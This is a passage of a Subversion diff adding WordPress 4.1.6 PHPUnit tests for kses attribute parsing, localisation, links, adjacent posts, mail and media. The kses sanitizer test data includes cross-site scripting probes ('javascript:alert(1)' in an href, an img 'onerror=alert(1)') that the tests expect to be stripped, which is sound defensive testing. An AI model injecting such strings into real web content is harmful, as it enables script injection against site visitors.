+				"\x1Fh\x1Ee\x1Dl\x1Cl\x1Bo\x1A \x19w\x18o\x17r\x16l\x15d\x14.\x13 \x12W\x11O\x10R\x0FD\x0EP\x0CR\x0BE\x08S\x07S\x06 \x05K\x04S\X03E\x02S\x01.\x00/",
+				'hello world. WORDPRESS KSES./',
+			),
+			array(
+				"\t\r\n word \n\r\t",
+				"\t\r\n word \n\r\t",
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_hair_parse().
+	 *
+	 * @dataProvider data_hair_parse
+	 */
+	function test_hair_parse( $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_hair_parse( $input ) );
+	}
+
+	function data_hair_parse() {
+		return array(
+			array(
+				'title="hello" href="#" id="my_id" ',
+				array( 'title="hello" ', 'href="#" ', 'id="my_id" ' ),
+			),
+			array(
+				'[shortcode attr="value"] href="http://www.google.com/"title="moo"disabled',
+				array( '[shortcode attr="value"] ', 'href="http://www.google.com/"', 'title="moo"', 'disabled' ),
+			),
+			array(
+				'',
+				array(),
+			),
+			array(
+				'a',
+				array( 'a' ),
+			),
+			array(
+				'title="hello"disabled href=# id=\'my_id\'',
+				array( 'title="hello"', 'disabled ', 'href=# ', "id='my_id'" ),
+			),
+			array(
+				'     ', // Calling function is expected to strip leading whitespace.
+				false,
+			),
+			array(
+				'abcd=abcd"abcd"',
+				false,
+			),
+			array(
+				"array[1]='z'z'z'z",
+				false,
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_attr_parse().
+	 *
+	 * @dataProvider data_attr_parse
+	 */
+	function test_attr_parse( $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_attr_parse( $input ) );
+	}
+
+	function data_attr_parse() {
+		return array(
+			array(
+				'<a title="hello" href="#" id="my_id" >',
+				array( '<a ', 'title="hello" ', 'href="#" ', 'id="my_id" ', '>' ),
+			),
+			array(
+				'<a [shortcode attr="value"] href="http://www.google.com/"title="moo"disabled>',
+				array( '<a ', '[shortcode attr="value"] ', 'href="http://www.google.com/"', 'title="moo"', 'disabled', '>' ),
+			),
+			array(
+				'',
+				false,
+			),
+			array(
+				'a',
+				false,
+			),
+			array(
+				'<a>',
+				array( '<a', '>' ),
+			),
+			array(
+				'<a%%&&**>',
+				false,
+			),
+			array(
+				'<a title="hello"disabled href=# id=\'my_id\'>',
+				array( '<a ', 'title="hello"', 'disabled ', 'href=# ', "id='my_id'", ">" ),
+			),
+			array(
+				'<a     >',
+				array( '<a     ', '>' ),
+			),
+			array(
+				'<a abcd=abcd"abcd">',
+				false,
+			),
+			array(
+				"<a array[1]='z'z'z'z>",
+				false,
+			),
+			array(
+				'<img title="hello" src="#" id="my_id" />',
+				array( '<img ', 'title="hello" ', 'src="#" ', 'id="my_id"', ' />' ),
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_one_attr().
+	 *
+	 * @dataProvider data_one_attr
+	 */
+	function test_one_attr( $element, $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_one_attr( $input, $element ) );
+	}
+
+	function data_one_attr() {
+		return array(
+			array(
+				'a',
+				' title="hello" ',
+				' title="hello" ',
+			),
+			array(
+				'a',
+				'title  =  "hello"',
+				'title="hello"',
+			),
+			array(
+				'a',
+				"title='hello'",
+				"title='hello'",
+			),
+			array(
+				'a',
+				'title=hello',
+				'title="hello"',
+			),
+			array(
+				'a',
+				'href="javascript:alert(1)"',
+				'href="alert(1)"',
+			),
+			array(
+				'a',
+				'style ="style "',
+				'style="style"',
+			),
+			array(
+				'a',
+				'style="style "',
+				'style="style"',
+			),
+			array(
+				'a',
+				'style ="style ="',
+				'',
+			),
+			array(
+				'img',
+				'src="mypic.jpg"',
+				'src="mypic.jpg"',
+			),
+			array(
+				'img',
+				'onerror=alert(1)',
+				'',
+			),
+			array(
+				'img',
+				'title=>',
+				'title="&gt;"',
+			),
+			array(
+				'img',
+				'title="&garbage";"',
+				'title="&amp;garbage&quot;;"',
+			),
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/l10n.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/l10n.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/l10n.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n extends WP_UnitTestCase {
+
+	function test_load_unload_textdomain() {
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+		$this->assertFalse( unload_textdomain( 'wp-tests-domain' ) );
+
+		$file = DIR_TESTDATA . '/pomo/simple.mo';
+		$this->assertTrue( load_textdomain( 'wp-tests-domain', $file ) );
+		$this->assertTrue( is_textdomain_loaded( 'wp-tests-domain' ) );
+		$this->assertTrue( unload_textdomain( 'wp-tests-domain' ) );
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/link.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/link.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/link.php	(revision 33402)
@@ -0,0 +1,289 @@
+<?php
+/**
+ * @group link
+ */
+class Tests_Link extends WP_UnitTestCase {
+
+	function tearDown() {
+		global $wp_rewrite;
+		$wp_rewrite->init();
+		parent::tearDown();
+	}
+
+	function _get_pagenum_link_cb( $url ) {
+		return $url . '/WooHoo';
+	}
+
+	/**
+	 * @ticket 8847
+	 */
+	function test_get_pagenum_link_case_insensitivity() {
+		$old_req_uri = $_SERVER['REQUEST_URI'];
+
+		global $wp_rewrite;
+		$wp_rewrite->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+		$wp_rewrite->flush_rules();
+
+		add_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+		$_SERVER['REQUEST_URI'] = '/woohoo';
+		$paged = get_pagenum_link( 2 );
+
+		remove_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+		$this->assertEquals( $paged, home_url( '/WooHoo/page/2/' ) );
+
+		$_SERVER['REQUEST_URI'] = $old_req_uri;
+	}
+
+	function test_wp_get_shortlink() {
+		global $wp_rewrite;
+
+		$post_id = $this->factory->post->create();
+		$post_id2 = $this->factory->post->create();
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '' );
+		$wp_rewrite->flush_rules();
+
+		// Basic case
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		unset( $GLOBALS['post'] );
+
+		// Global post is not set
+		$this->assertEquals( '', wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( '', wp_get_shortlink( 0 ) );
+		$this->assertEquals( '', wp_get_shortlink() );
+
+		$GLOBALS['post'] = get_post( $post_id );
+
+		// Global post is set
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( 0 ) );
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink() );
+
+		// Not the global post
+		$this->assertEquals( get_permalink( $post_id2 ), wp_get_shortlink( $post_id2, 'post' ) );
+
+		unset( $GLOBALS['post'] );
+
+		// Global post is not set, once again
+		$this->assertEquals( '', wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( '', wp_get_shortlink( 0 ) );
+		$this->assertEquals( '', wp_get_shortlink() );
+
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		$wp_rewrite->flush_rules();
+
+		// With a permalink structure set, get_permalink() will no longer match.
+		$this->assertNotEquals( get_permalink( $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		// Global post and permalink structure are set
+		$GLOBALS['post'] = get_post( $post_id );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( 0 ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink() );
+	}
+
+	function test_wp_get_shortlink_with_page() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+
+		// Basic case
+		// Don't test against get_permalink() since it uses ?page_id= for pages.
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		global $wp_rewrite;
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		$wp_rewrite->flush_rules();
+
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+	}
+
+	/**
+	 * @ticket 26871
+	 */
+	function test_wp_get_shortlink_with_home_page() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post_id );
+
+		$this->assertEquals( home_url( '/' ), wp_get_shortlink( $post_id, 'post' ) );
+
+		global $wp_rewrite;
+		$wp_rewrite->permalink_structure = '';
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		$wp_rewrite->flush_rules();
+
+		$this->assertEquals( home_url( '/' ), wp_get_shortlink( $post_id, 'post' ) );
+	}
+
+	/**
+	 * @ticket 17807
+	 */
+	function test_get_adjacent_post() {
+		// Need some sample posts to test adjacency
+		$post_one = $this->factory->post->create_and_get( array(
+			'post_title' => 'First',
+			'post_date' => '2012-01-01 12:00:00'
+		) );
+
+		$post_two = $this->factory->post->create_and_get( array(
+			'post_title' => 'Second',
+			'post_date' => '2012-02-01 12:00:00'
+		) );
+
+		$post_three = $this->factory->post->create_and_get( array(
+			'post_title' => 'Third',
+			'post_date' => '2012-03-01 12:00:00'
+		) );
+
+		$post_four = $this->factory->post->create_and_get( array(
+			'post_title' => 'Fourth',
+			'post_date' => '2012-04-01 12:00:00'
+		) );
+
+		// Assign some terms
+		wp_set_object_terms( $post_one->ID, 'wordpress', 'category', false );
+		wp_set_object_terms( $post_three->ID, 'wordpress', 'category', false );
+
+		wp_set_object_terms( $post_two->ID, 'plugins', 'post_tag', false );
+		wp_set_object_terms( $post_four->ID, 'plugins', 'post_tag', false );
+
+		// Test normal post adjacency
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( $post_one, get_adjacent_post( false, '', true ) );
+		$this->assertEquals( $post_three, get_adjacent_post( false, '', false ) );
+
+		$this->assertNotEquals( $post_two, get_adjacent_post( false, '', true ) );
+		$this->assertNotEquals( $post_two, get_adjacent_post( false, '', false ) );
+
+		// Test category adjacency
+		$this->go_to( get_permalink( $post_one->ID ) );
+
+		$this->assertEquals( '', get_adjacent_post( true, '', true, 'category' ) );
+		$this->assertEquals( $post_three, get_adjacent_post( true, '', false, 'category' ) );
+
+		// Test tag adjacency
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( '', get_adjacent_post( true, '', true, 'post_tag' ) );
+		$this->assertEquals( $post_four, get_adjacent_post( true, '', false, 'post_tag' ) );
+
+		// Test normal boundary post
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( array( $post_one ), get_boundary_post( false, '', true ) );
+		$this->assertEquals( array( $post_four ), get_boundary_post( false, '', false ) );
+
+		// Test category boundary post
+		$this->go_to( get_permalink( $post_one->ID ) );
+
+		$this->assertEquals( array( $post_one ), get_boundary_post( true, '', true, 'category' ) );
+		$this->assertEquals( array( $post_three ), get_boundary_post( true, '', false, 'category' ) );
+
+		// Test tag boundary post
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( array( $post_two ), get_boundary_post( true, '', true, 'post_tag' ) );
+		$this->assertEquals( array( $post_four ), get_boundary_post( true, '', false, 'post_tag' ) );
+	}
+
+	/**
+	 * @ticket 22112
+	 */
+	function test_get_adjacent_post_exclude_self_term() {
+		// Bump term_taxonomy to mimic shared term offsets.
+		global $wpdb;
+		$wpdb->insert( $wpdb->term_taxonomy, array( 'taxonomy' => 'foo', 'term_id' => 12345, 'description' => '' ) );
+
+		$include = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'name' => 'Include',
+		) );
+		$exclude = $this->factory->category->create();
+
+		$one = $this->factory->post->create_and_get( array(
+			'post_date' => '2012-01-01 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		$two = $this->factory->post->create_and_get( array(
+			'post_date' => '2012-01-02 12:00:00',
+			'post_category' => array(),
+		) );
+
+		$three = $this->factory->post->create_and_get( array(
+			'post_date' => '2012-01-03 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		$four = $this->factory->post->create_and_get( array(
+			'post_date' => '2012-01-04 12:00:00',
+			'post_category' => array( $include ),
+		) );
+
+		$five = $this->factory->post->create_and_get( array(
+			'post_date' => '2012-01-05 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		// First post
+		$this->go_to( get_permalink( $one ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array(), false ) );
+		$this->assertEquals( $three, get_adjacent_post( true, array(), false ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array( $exclude ), false ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array( $exclude ), false ) );
+		$this->assertEmpty( get_adjacent_post( false, array(), true ) );
+
+		// Fourth post
+		$this->go_to( get_permalink( $four ) );
+		$this->assertEquals( $five, get_adjacent_post( false, array(), false ) );
+		$this->assertEquals( $five, get_adjacent_post( true, array(), false ) );
+		$this->assertEmpty( get_adjacent_post( false, array( $exclude ), false ) );
+		$this->assertEmpty( get_adjacent_post( true, array( $exclude ), false ) );
+
+		$this->assertEquals( $three, get_adjacent_post( false, array(), true ) );
+		$this->assertEquals( $three, get_adjacent_post( true, array(), true ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array( $exclude ), true ) );
+		$this->assertEmpty( get_adjacent_post( true, array( $exclude ), true ) );
+
+		// Last post
+		$this->go_to( get_permalink( $five ) );
+		$this->assertEquals( $four, get_adjacent_post( false, array(), true ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array(), true ) );
+		$this->assertEquals( $four, get_adjacent_post( false, array( $exclude ), true ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array( $exclude ), true ) );
+		$this->assertEmpty( get_adjacent_post( false, array(), false ) );
+	}
+
+	public function test_wp_make_link_relative_with_http_scheme() {
+		$link = 'http://example.com/this-is-a-test-http-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-http-url/', $relative_link );
+	}
+
+	public function test_wp_make_link_relative_with_https_scheme() {
+		$link = 'https://example.com/this-is-a-test-https-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-https-url/', $relative_link );
+	}
+
+	/**
+	 * @ticket 30373
+	 */
+	public function test_wp_make_link_relative_with_no_scheme() {
+		$link = '//example.com/this-is-a-test-schemeless-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-schemeless-url/', $relative_link );
+	}
+
+	/**
+	 * @ticket 30373
+	 */
+	public function test_wp_make_link_relative_should_retain_URL_param_that_is_also_a_URL() {
+		$link = 'https://example.com/this-is-a-test/?redirect=https://example.org/a-different-test-post/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test/?redirect=https://example.org/a-different-test-post/', $relative_link );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/link/getAdjacentPostLink.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/link/getAdjacentPostLink.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/link/getAdjacentPostLink.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * @group link
+ */
+class Tests_Link_GetAdjacentPostLink extends WP_UnitTestCase {
+
+	protected $post_ids;
+	protected $cat_id;
+
+	public function setUp(){
+		parent::setUp();
+		$this->cat_id = $this->factory->category->create( array( 'name' => 'other' ) );
+		$this->post_ids = array();
+		$this->post_ids[] = $this->factory->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 05:32:29', 'category_id' => 1 ) );
+		$this->post_ids[] = $this->factory->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 04:32:29', 'category_id' => $this->cat_id ) );
+		$this->post_ids[] = $this->factory->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 03:32:29', 'category_id' => 1 ) );
+		$this->post_ids[] = $this->factory->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 02:32:29', 'category_id' => $this->cat_id ) );
+		$this->post_ids[] = $this->factory->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 01:32:29', 'category_id' => 1 ) );
+
+		//set current post (has 2 on each end)
+		global $GLOBALS;
+		$GLOBALS['post'] = get_post( $this->post_ids[2] );
+	}
+
+	public function test_get_next_post_link_default() {
+		$actual = get_next_post_link();
+		$expected = '<a href="http://example.org/?p=' . $this->post_ids[1] . '" rel="next">Post title 2</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_default() {
+		$actual = get_previous_post_link();
+		$expected = '&laquo; <a href="http://example.org/?p=' . $this->post_ids[3] . '" rel="prev">Post title 4</a>';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_next_post_link_same_category() {
+		$actual = get_next_post_link( '%link &raquo;', '%title', true );
+		$expected = '<a href="http://example.org/?p=' . $this->post_ids[1] . '" rel="next">Post title 2</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_same_category() {
+		$actual = get_previous_post_link( '&laquo; %link', '%title', true );
+		$expected = '&laquo; <a href="http://example.org/?p=' . $this->post_ids[3] . '" rel="prev">Post title 4</a>';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_next_post_link_exclude_category() {
+		$actual = get_next_post_link( '%link &raquo;', '%title', false, $this->cat_id );
+		$expected = '<a href="http://example.org/?p=' . $this->post_ids[1] . '" rel="next">Post title 2</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_exclude_category() {
+		$actual = get_previous_post_link( '&laquo; %link', '%title', false, $this->cat_id );
+		$expected = '&laquo; <a href="http://example.org/?p=' . $this->post_ids[3] . '" rel="prev">Post title 4</a>';
+		$this->assertSame( $expected, $actual );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/mail.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/mail.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/mail.php	(revision 33402)
@@ -0,0 +1,159 @@
+<?php
+/**
+ * @group pluggable
+ * @group mail
+ */
+class Tests_Mail extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$_SERVER['SERVER_NAME'] = 'example.com';
+		unset( $GLOBALS['phpmailer']->mock_sent );
+	}
+
+	function tearDown() {
+		unset( $_SERVER['SERVER_NAME'] );
+		parent::tearDown();
+	}
+
+	function test_wp_mail_custom_boundaries() {
+		$to = 'user@example.com';
+		$subject = 'Test email with custom boundaries';
+		$headers  = '' . "\n";
+		$headers .= 'MIME-Version: 1.0' . "\n";
+		$headers .= 'Content-Type: multipart/mixed; boundary="----=_Part_4892_25692638.1192452070893"' . "\n";
+		$headers .= "\n";
+		$body  = "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+		$body .= 'Content-Type: text/plain; charset=ISO-8859-1' . "\n";
+		$body .= 'Content-Transfer-Encoding: 7bit' . "\n";
+		$body .= 'Content-Disposition: inline' . "\n";
+		$body .= "\n";
+		$body .= 'Here is a message with an attachment of a binary file.' . "\n";
+		$body .= "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+		$body .= 'Content-Type: image/x-icon; name=favicon.ico' . "\n";
+		$body .= 'Content-Transfer-Encoding: base64' . "\n";
+		$body .= 'Content-Disposition: attachment; filename=favicon.ico' . "\n";
+		$body .= "\n";
+		$body .= 'AAABAAEAEBAAAAAAAABoBQAAFgAAACgAAAAQAAAAIAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA' . "\n";
+		$body .= '/wD/AP//AAD///8A//3/AP39/wD6/f8A+P3/AP/8/wD9/P8A+vz/AP/7/wD/+v8A/vr/APz6/wD4' . "\n";
+		$body .= '+v8A+/n/APP5/wD/+P8A+vj/AO/4/wDm+P8A2fj/AP/3/wD/9v8A9vb/AP/1/wD69f8A9PT/AO30' . "\n";
+		$body .= '/wD/8/8A//L/APnx/wD28P8A///+APj//gD2//4A9P/+AOP//gD//f4A6f/9AP///AD2//wA8//8' . "\n";
+		$body .= 'APf9/AD///sA/v/7AOD/+wD/+vsA9/X7APr/+gDv/voA///5AP/9+QD/+/kA+e35AP//+ADm//gA' . "\n";
+		$body .= '4f/4AP/9+AD0+/gA///3APv/9wDz//cA8f/3AO3/9wD/8fcA//32AP369gDr+vYA8f/1AOv/9QD/' . "\n";
+		$body .= '+/UA///0APP/9ADq//QA///zAP/18wD///IA/fzyAP//8QD///AA9//wAPjw8AD//+8A8//vAP//' . "\n";
+		$body .= '7gD9/+4A9v/uAP/u7gD//+0A9v/tAP7/6wD/+eoA///pAP//6AD2/+gA//nnAP/45wD38eYA/fbl' . "\n";
+		$body .= 'AP/25AD29uQA7N/hAPzm4AD/690AEhjdAAAa3AAaJdsA//LXAC8g1gANH9YA+dnTAP/n0gDh5dIA' . "\n";
+		$body .= 'DyjSABkk0gAdH9EABxDRAP/l0AAAJs4AGRTOAPPczQAAKs0AIi7MAA4UywD56soA8tPKANTSygD/' . "\n";
+		$body .= '18kA6NLHAAAjxwDj28QA/s7CAP/1wQDw3r8A/9e8APrSrwDCtqoAzamjANmPiQDQj4YA35mBAOme' . "\n";
+		$body .= 'fgDHj3wA1qR6AO+sbwDpmm8A2IVlAKmEYgCvaFoAvHNXAEq2VgA5s1UAPbhQAFWtTwBStU0ARbNN' . "\n";
+		$body .= 'AEGxTQA7tEwAObZIAEq5RwDKdEYAULhDANtuQgBEtTwA1ls3ALhgMQCxNzEA2FsvAEC3LQB0MCkA' . "\n";
+		$body .= 'iyYoANZTJwDLWyYAtjMlALE6JACZNSMAuW4iANlgIgDoWCEAylwgAMUuIAD3Vh8A52gdALRCHQCx' . "\n";
+		$body .= 'WhwAsEkcALU4HACMOBwA0V4bAMYyGgCPJRoA218ZAJM7FwC/PxYA0msVAM9jFQD2XBUAqioVAIAf' . "\n";
+		$body .= 'FQDhYRQAujMTAMUxEwCgLBMAnxIPAMsqDgCkFgsA6GMHALE2BAC9JQAAliIAAFYTAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/' . "\n";
+		$body .= '//8AsbGxsbGxsbGxsbGxsbGxd7IrMg8PDw8PDw8PUBQeJXjQYE9PcKPM2NfP2sWhcg+BzTE7dLjb' . "\n";
+		$body .= 'mG03YWaV4JYye8MPbsLZlEouKRRCg9SXMoW/U53enGRAFzCRtNO7mTiAyliw30gRTg9VbJCKfYs0' . "\n";
+		$body .= 'j9VmuscfLTFbIy8SOhA0Inq5Y77GNBMYIxQUJzM2Vxx2wEmfyCYWMRldXCg5MU0aicRUms58SUVe' . "\n";
+		$body .= 'RkwjPBRSNIfBMkSgvWkyPxVHFIaMSx1/0S9nkq7WdWo1a43Jt2UqgtJERGJ5m6K8y92znpNWIYS1' . "\n";
+		$body .= 'UQ89Mmg5cXNaX0EkGyyI3KSsp6mvpaqosaatq7axsQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' . "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893--' . "\n";
+		$body .= "\n";
+
+		wp_mail($to, $subject, $body, $headers);
+
+		// We need some better assertions here but these catch the failure for now.
+		$this->assertEquals($body, $GLOBALS['phpmailer']->mock_sent[0]['body']);
+		$this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'boundary="----=_Part_4892_25692638.1192452070893"') > 0);
+		$this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'charset=') > 0);
+	}
+
+	/**
+	 * @ticket 17305
+	 */
+	function test_wp_mail_rfc2822_addresses() {
+		$to = "Name <address@tld.com>";
+		$from = "Another Name <another_address@different-tld.com>";
+		$cc = "The Carbon Guy <cc@cc.com>";
+		$bcc = "The Blind Carbon Guy <bcc@bcc.com>";
+		$subject = "RFC2822 Testing";
+		$message = "My RFC822 Test Message";
+		$headers[] = "From: {$from}";
+		$headers[] = "CC: {$cc}";
+		$headers[] = "BCC: {$bcc}";
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		// WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+		// Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+		$this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+		$this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]);
+		$this->assertEquals('cc@cc.com', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][0]);
+		$this->assertEquals('The Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][1]);
+		$this->assertEquals('bcc@bcc.com', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][0]);
+		$this->assertEquals('The Blind Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][1]);
+		$this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+	}
+
+	/**
+	 * @ticket 17305
+	 */
+	function test_wp_mail_multiple_rfc2822_to_addresses() {
+		$to = "Name <address@tld.com>, Another Name <another_address@different-tld.com>";
+		$subject = "RFC2822 Testing";
+		$message = "My RFC822 Test Message";
+
+		wp_mail( $to, $subject, $message );
+
+		// WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+		// Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+		$this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+		$this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]);
+		$this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]);
+		$this->assertEquals('Another Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][1]);
+		$this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+	}
+
+	function test_wp_mail_multiple_to_addresses() {
+		$to = "address@tld.com, another_address@different-tld.com";
+		$subject = "RFC2822 Testing";
+		$message = "My RFC822 Test Message";
+
+		wp_mail( $to, $subject, $message );
+
+		$this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+		$this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]);
+		$this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+	}
+
+	/**
+	 * @ticket 18463
+	 */
+	function test_wp_mail_to_address_no_name() {
+		$to = "<address@tld.com>";
+		$subject = "RFC2822 Testing";
+		$message = "My RFC822 Test Message";
+
+		wp_mail( $to, $subject, $message );
+
+		$this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+		$this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+	}
+
+	/**
+	 * @ticket 23642
+	 */
+	function test_wp_mail_return_value() {
+		// No errors
+		$this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body' ) );
+
+		// Non-fatal errors
+		$this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body', "Cc: invalid-address\nBcc: @invalid.address", ABSPATH . '/non-existant-file.html' ) );
+
+		// Fatal errors
+		$this->assertFalse( wp_mail( 'invalid.address', 'subject', 'body', '', array() ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/media.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/media.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/media.php	(revision 33402)
@@ -0,0 +1,470 @@
+<?php
+
+/**
+ * @group media
+ * @group shortcode
+ */
+class Tests_Media extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->caption = 'A simple caption.';
+		$this->html_content = <<<CAP
+A <strong class='classy'>bolded</strong> <em>caption</em> with a <a href="#">link</a>.
+CAP;
+		$this->img_content = <<<CAP
+<img src="pic.jpg" id='anId' alt="pic"/>
+CAP;
+		$this->img_name = 'image.jpg';
+		$this->img_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $this->img_name;
+		$this->img_html = '<img src="' . $this->img_url . '"/>';
+		$this->img_dimensions = array( 'width' => 100, 'height' => 100 );
+	}
+
+	function test_img_caption_shortcode_added() {
+		global $shortcode_tags;
+		$this->assertEquals( 'img_caption_shortcode', $shortcode_tags['caption'] );
+		$this->assertEquals( 'img_caption_shortcode', $shortcode_tags['wp_caption'] );
+	}
+
+	function test_img_caption_shortcode_with_empty_params() {
+		$result = img_caption_shortcode( array() );
+		$this->assertNull( $result );
